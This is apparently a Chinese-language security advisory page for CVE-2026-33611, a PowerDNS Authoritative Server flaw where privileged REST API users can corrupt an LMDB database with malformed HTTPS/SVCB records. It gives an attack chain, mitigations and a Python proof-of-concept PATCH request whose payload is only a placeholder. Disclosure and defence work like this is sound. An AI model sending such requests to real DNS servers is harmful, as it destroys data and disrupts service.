CVE-2026-33611 CVSS 6.5 中危

CVE-2026-33611 PowerDNS LMDB数据库损坏漏洞

披露日期: 2026-04-22

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-33611

漏洞类型

输入验证错误

CVSS评分

6.5 中危

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

无需交互 (UI:N)

影响产品

PowerDNS Authoritative Server

漏洞概述

CVE-2026-33611 是 PowerDNS 权威服务器中存在的一个安全漏洞。该漏洞主要影响使用 LMDB 作为后端存储的环境。具有 REST API 访问权限的操作员可以通过发送特制的请求，诱导服务器生成无效的 HTTPS 或 SVCB 记录数据。当系统尝试将这些数据写入 LMDB 数据库时，会导致数据库结构损坏。该漏洞利用难度较低，但需要高权限，成功利用可导致服务可用性和完整性受损。

技术细节

该漏洞源于 PowerDNS 在通过 REST API 处理特定类型 DNS 记录（HTTPS 或 SVCB）时的输入验证逻辑缺陷。攻击者首先需要获取目标服务器的 API 操作员权限。随后，攻击者利用 API 接口提交构造恶意的记录数据，这些数据在语法上可能符合 API 传输要求，但在语义或内部格式上不符合 LMDB 存储引擎的规范。当 PowerDNS Authoritative Server 尝试将这些无效记录持久化到 LMDB 后端时，LMDB 无法正确处理异常数据结构，从而导致数据库文件损坏。这种损坏可能导致 DNS 解析服务中断，且恢复数据库可能需要从备份还原，严重影响业务连续性。

攻击链分析

STEP 1

1. 权限获取

攻击者需要获取 PowerDNS REST API 的高权限操作员账户凭证（API Key）。

STEP 2

2. 恶意构造

攻击者分析 PowerDNS 对 HTTPS/SVCB 记录的处理逻辑，构造能够绕过 API 校验但能导致 LMDB 解析错误的畸形数据。

STEP 3

3. 注入数据

攻击者通过 REST API 发送 PATCH 或 POST 请求，将恶意记录数据写入目标区域的数据库。

STEP 4

4. 数据库损坏

PowerDNS 尝试将数据持久化到 LMDB，触发数据库内部错误，导致数据库文件损坏和服务拒绝。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests
import json

# PowerDNS API endpoint
url = "http://target-pdns:8081/api/v1/servers/localhost/zones/example.com"

# Headers with API Key (High privileges required)
headers = {
    "X-API-Key": "<REDACTED_API_KEY>",
    "Content-Type": "application/json"
}

# Malicious payload attempting to corrupt LMDB via invalid HTTPS record
# Note: The exact payload depends on the specific validation bypass
payload = {
    "rrsets": [{
        "name": "example.com",
        "type": "HTTPS",
        "ttl": 3600,
        "records": [{
            "content": "1 . alpn=\"h3\" malformed_payload=\"<inject_corrupt_data>\"",
            "disabled": False
        }]
    }]
}

try:
    response = requests.patch(url, headers=headers, data=json.dumps(payload))
    if response.status_code == 204:
        print("[+] Potential payload sent successfully.")
    else:
        print(f"[-] Request failed: {response.status_code}")
        print(response.text)
except Exception as e:
    print(f"Error: {e}")

影响范围

PowerDNS Authoritative Server (使用 LMDB 后端的特定版本)

防御指南

临时缓解措施

建议立即检查 PowerDNS 版本并应用官方提供的安全补丁。在升级前，可暂时禁用 REST API 写权限，或仅允许受信任的内网 IP 访问 API，并避免通过 API 创建 HTTPS 和 SVCB 类型的记录。同时，应确保 LMDB 数据库有最新的可用备份，以便在发生损坏时快速恢复。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表